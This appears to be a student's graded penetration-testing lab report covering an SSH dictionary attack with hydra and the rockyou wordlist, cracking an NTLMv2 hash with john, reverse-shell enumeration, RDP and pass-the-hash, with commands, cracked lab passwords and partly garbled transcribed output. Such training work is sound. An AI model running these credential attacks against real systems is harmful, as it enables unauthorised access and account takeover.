## Lab Template – Ethan Roepke

1. Describe what you did to rockyou.txt.gz that changed it to rockyou.txt. If you ran a command, include the command and briefly explain why it worked.

(5 points)

A command I ran was "gzip -d rockyou.txt.gz"

This command worked because gzip is the command for file compression/decompression and when we add '-d', this tells us we want to decompress the file.

2. Perform a dictionary password attack with this command. Take a screenshot once you've found the password.

```
hydra -l santana -P /usr/share/wordlists/rockyou.txt
ssh://x.x.x.123 -V
(10 points)
```

```
[ATTEMPT] target 135./5.54.123 - togin santana - pass sortbatt - 94 of 14344402 [Child 15] (0/3) [22][ssh] host: 135.75.54.123 login: santana password: dragon

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-19 10:55:25

[**Coot**8 kal***)-[/usr/share/wordlists]
```

3. **Using SSH from your Kali VM, log into the user** santana **using the password you just found. Take a screenshot.** 

(10 points)

4. **Execute the** net users **command on** X.X.X.108. **Take a screenshot of successful execution**.

(10 points)

```
User accounts for \\

Administrator Alex Guest James yellowsnow

The command completed with one or more errors.

DefaultAccount James yellowsnow

| Cool@Stw13 - [~]
```

- 5. With your reverse shell, run the following command and take a screenshot of the entire output for your lab report.
- PS C:> systeminfo

(10 points)

```
HOST Name:
OS Name:
OS Version:
OS Manufacturer:
OS Configuration:
OS Build Type:
Registered Owner:
Registered Organization:
                                                   Microsoft Windows 10 Pro
10.0.14393 N/A Build 14393
                                                   Microsoft Corporation
Standalone Workstation
                                                   Multiprocessor Free
                                                   Windows User
Product ID:
Original Install Date:
System Boot Time:
                                                  00330-80000-00000-AA250
29/01/2018, 13:35:48
01/02/2024, 06:26:28
 System Manufacturer:
                                                   VMware, Inc.
VMware Virtual Platform
 System Model:
                                                                                                                             I
                                                   VMMARE VIRTUAL PLACTORM
X64-based PC
1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2295 Mhz
Phoenix Technologies LTD 6.00, 12/11/2020
C:\Windows
System Type:
Processor(s):
BIOS Version:
Windows Directory:
                                                   C:\Windows\system32
\Device\HarddiskVolume1
Boot Device:
System Locale:
Input Locale:
Time Zone:
                                                   en-gb;English (United Kingdom)
en-us;English (United States)
(UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 4,995 MB
Available Physical Memory: 3,219 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 3,984 MB
Virtual Memory: In Use: 815 MB
Page File Location(s):
                                                   C:\pagefile.sys
Domain:
Logon Server:
                                                   WORKGROUP
Hotfix(s):
Network Card(s):
                                                    1 NIC(s) Installed.
                                                    [01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
                                                               DHCP Enabled:
                                                               DHCP Server:
IP address(es)
                                                               [01]: 135.75.54.108
[02]: fe80::7992:6425:d42:6aac
Hyper-V Requirements: PS C:\> ■
                                                    A hypervisor has been detected. Features required for Hyper-V will not be displayed.
```

6. Show Shelly's plaintext password(s) from the output of the John command. (10 points)

```
(ropt@ keli)-[~]

# john responder.txt —wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

1234567890 (Shelly)

1g 0:00:00:00 DONE (2024-02-20 11:55) 9.690g/s 9309p/s 9309c/s 9309c/s 123456..bethany

Use the "—show —format=netntlmv2" options to display all of the cracked passwords reliably

Session completed.

[moot@ keli)-[~]
```

7. Take a screenshot of the RDP session (include the rdesktop - x.x.x.111 heading)



8. Do some research on the internet. What happens if you RDP into this machine while the user Joshua is actively using the computer?

(5 points)

I have found 2 possibilities that could happen when you RDP onto a machine while a user is active. The first is when you RDP onto the machine, the user of the machine will be interrupted with a message possibly letting them know someone is trying to have remote access and they can accept or deny it. Another possibility that could happen is a new session will be running while the users machine session will run in the background. This all depends on the configured setting for the users settings.

## 9. When would we want to use smbmap w/ Pass the Hash over using RDP to connect to a machine?

(10 points)

We would want to use smbmap w/Pass the Hash over using RDP to connect to a machine because RDP can be a strong bandwidth especially when the network bandwidth is limited, so using smbmap w/Pass the Hash will be beneficial and more efficient. Pass the Hash avoids sending plaintext passwords, which will prevent security measures installed.

## 10. Take a screenshot of this command's output after you've obtained your interactive shell on X.X.X.121:

```
echo "[netid]" && id && ip a
(10 points)
```

Understood netid meant to be "eroepke" but inserted my ip address "135.75.54.121"

```
www-data@l1:/$ echo "135.75.54.121" && id && ip a
135.75.54.121
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:02:31:15:70:20 brd ff:ff:ff:ff
    altname enp3s0
    inet 135.75.54.121/24 metric 100 brd 135.75.54.255 scope global dynamic ens160
        valid_lft 21604sec preferred_lft 21604sec
    inet6 fe80::202:31ff:fe15:7020/64 scope link
        valid_lft forever preferred_lft forever
www-data@l1:/$
```